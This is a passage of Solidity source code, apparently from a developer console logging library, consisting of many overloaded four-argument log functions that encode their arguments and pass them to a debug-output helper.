_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { 